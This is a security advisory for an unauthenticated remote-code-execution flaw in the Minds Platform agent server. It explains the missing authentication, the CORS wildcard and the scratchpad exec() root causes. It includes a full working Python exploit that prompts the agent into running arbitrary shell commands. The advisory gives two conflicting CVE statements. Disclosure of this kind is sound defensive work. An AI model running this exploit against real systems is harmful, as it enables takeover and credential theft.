Skip to content

Unauthenticated Remote Code Execution via Agent Scratchpad 'exec()' in 'POST /api/v1/responses/'

Critical
ZoranPandovski published GHSA-jcxw-h8ph-pxpv Jul 17, 2026

Package

mindsdb/minds-platform

Affected versions

<= v26.1.0

Patched versions

None

Description

CVE-2026-73678.

Summary

The cowork-server FastAPI backend exposes POST /api/v1/responses/ with no authentication. Any unauthenticated caller — local process, cross-origin browser request, or network peer — can instruct the Anton agent to invoke its built-in scratchpad tool, which calls exec(compiled, namespace) on arbitrary Python code inside the server process.

This allows full Remote Code Execution (RCE) with the OS-level privileges of the server process. No victim credentials are required; the attacker supplies their own LLM API key via an equally unauthenticated settings endpoint.


Root Causes

Three root causes combine to create this vulnerability.

1 — No Authentication on the Entire API (cowork/server.py)

backend/core_api/cowork/server.py registers CORSMiddleware but adds no authentication middleware. The entire /api/v1/ router is publicly accessible without credentials:

# backend/core_api/cowork/server.py
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin accepted
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)
# No auth middleware — all routes are public

The responses endpoint has no Depends() auth guard:

# backend/core_api/cowork/api/v1/endpoints/responses.py
@router.post("/")
async def create_response(request: ResponseRequest, ...):
    ...  # no authentication check

2 — CORS Wildcard Enables Drive-by Browser Exploitation

allow_origins=["*"] combined with allow_credentials=True means any web page the victim visits can issue cross-origin fetch() calls to http://127.0.0.1:26866/api/v1/responses/ and trigger RCE — no user interaction beyond visiting the page is needed.

3 — Unrestricted exec() in the Scratchpad Tool (scratchpad_boot.py:755)

# backend/core_agent/anton/core/backends/scratchpad_boot.py  line 755
exec(compiled, namespace)

The scratchpad tool accepts LLM-generated Python source, compiles it, and executes it with exec(). An attacker-controlled prompt causes the LLM to synthesize code that calls subprocess.run() or any other OS capability.

Attack chain:

Attacker sends HTTP POST (no auth)
  → /api/v1/responses/  with malicious prompt
    → Anton agent calls scratchpad tool
      → exec(compiled, namespace)       ← arbitrary Python runs
        → subprocess.run(attacker_cmd)  ← arbitrary OS command

Proof of Concept

Requirement: Minds Platform running on the target machine (make dev-web). The attacker only needs their own Gemini or OpenAI API key — no victim credentials required.

Save the following as shell.py and run it:

#!/usr/bin/env python3
"""
Interactive RCE Shell via Anton agent scratchpad exec().
Usage:
    python3 shell.py <ATTACKER_KEY> [openai|gemini] [model]

Example:
    python3 shell.py AIzaSy...  gemini
    python3 shell.py sk-...     openai

The script:
  1. Injects the attacker's LLM key via unauthenticated PUT /api/v1/settings/
  2. Sends crafted prompts to POST /api/v1/responses/ (no auth)
  3. The Anton agent calls scratchpad tool → exec() → arbitrary OS commands
"""
import json, os, sys, time, urllib.request, urllib.error

API         = os.environ.get("API", "http://127.0.0.1:26866/api/v1")
PROOF       = "/tmp/RCE_PROOF.txt"
GEMINI_BASE = "https://generativelanguage.googleapis.com/v1beta/openai/"
OPENAI_BASE = "https://api.openai.com/v1"


def call(method, path, payload=None, timeout=120):
    data = json.dumps(payload).encode() if payload is not None else None
    req = urllib.request.Request(f"{API}{path}", data=data, method=method,
                                 headers={"Content-Type": "application/json"})
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            return r.status, r.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def run_cmd(cmd_str):
    code = (
        "import subprocess, os\n"
        "_nonce = os.urandom(4).hex()\n"
        f"_cmd = {repr(cmd_str)}\n"
        "_res = subprocess.run(['sh', '-c', _cmd], capture_output=True, text=True)\n"
        "_out = _res.stdout + _res.stderr\n"
        f"open(r'{PROOF}', 'w').write(_nonce + '\\n' + _out)\n"
        "print('NONCE=' + _nonce)\n"
        "print(_out)\n"
    )
    prompt = (
        "Use the scratchpad tool (action exec) to run this Python. "
        "os.urandom generates a random nonce you cannot know without executing. "
        "Show me the exact 'NONCE=...' line from the output:\n\n" + code
    )

    try:
        before = os.path.getmtime(PROOF)
    except FileNotFoundError:
        before = -1

    for attempt in range(3):
        status, resp = call("POST", "/responses/", {"input": prompt, "stream": False})
        try:
            agent_text = "".join(
                c.get("text", "")
                for item in json.loads(resp).get("output", [])
                for c in item.get("content", [])
            )
        except Exception:
            agent_text = resp[:200]

        if "429" not in agent_text:
            break
        wait = 20 * (attempt + 1)
        print(f"    [429] rate limit — waiting {wait}s ({attempt+1}/3)...")
        time.sleep(wait)
    else:
        return "[-] 429 rate limit persistent — wait or use another key"

    time.sleep(0.8)

    try:
        after = os.path.getmtime(PROOF)
    except FileNotFoundError:
        return f"[-] {agent_text[:300]}" if agent_text else f"[-] Agent did not call tool (HTTP {status})"

    if after <= before:
        return f"[-] {agent_text[:300]}" if agent_text else "[-] File not updated"

    raw = open(PROOF).read()
    _, _, output = raw.partition('\n')
    return output.rstrip('\n') if output.strip() else "(command ran, no stdout)"


def setup(key, provider, model):
    base_url = GEMINI_BASE if provider == "gemini" else OPENAI_BASE
    print(f"[*] Setting provider={provider} model={model}")
    for field, val in [
        ("openai_api_key",    key),
        ("planning_provider", provider), ("coding_provider", provider),
        ("planning_model",    model),    ("coding_model",    model),
        ("openai_base_url",   base_url),
    ]:
        call("PUT", f"/settings/{field}", {"value": val}, timeout=15)
    _, vr = call("POST", "/settings/validate", {}, timeout=10)
    print(f"[*] validate: {vr.strip()[:100]}")


def main():
    if len(sys.argv) < 2 or not sys.argv[1].strip():
        print("Usage: python3 shell.py <KEY> [openai|gemini] [model]")
        sys.exit(1)

    key      = sys.argv[1].strip()
    provider = sys.argv[2].strip().lower() if len(sys.argv) > 2 else "openai"
    if provider not in ("openai", "gemini"):
        print(f"Invalid provider: {provider!r}"); sys.exit(1)
    default_model = "gemini-2.5-flash" if provider == "gemini" else "gpt-4o-mini"
    model = sys.argv[3].strip() if len(sys.argv) > 3 else default_model

    setup(key, provider, model)

    print()
    print("=" * 55)
    print("  RCE SHELL  (type shell commands, 'exit' to quit)")
    print("=" * 55)

    while True:
        try:
            cmd = input("$ ").strip()
        except (EOFError, KeyboardInterrupt):
            print("\n[*] Exit.")
            break
        if not cmd or cmd in ("exit", "quit", "q"):
            break
        print(run_cmd(cmd))
        print()


if __name__ == "__main__":
    main()

Run:

python3 shell.py AIzaSy... gemini

Observed output:

image

Impact

An unauthenticated attacker who can reach port 26866 — including any web page the victim visits while the app is running (CORS wildcard) — can execute arbitrary OS commands as the user running the server.

Concrete consequences:

  • Full credential theft: SSH private keys, browser sessions, ~/.anton/ provider API keys, environment files
  • Persistence: install cron jobs, backdoor .bashrc, add SSH authorized keys
  • Data destruction: wipe or encrypt files (ransomware)
  • Lateral movement: pivot to internal network services accessible from the victim's machine
  • Privilege escalation: leverage sudo group membership (as seen in the id output above)

Any user running Minds Platform — developer, researcher, or end user of the desktop app — is affected. No interaction beyond having the application open is required from the victim when the drive-by CORS vector is used.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

Permissive Cross-domain Security Policy with Untrusted Domains

The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. Learn more on MITRE.

Credits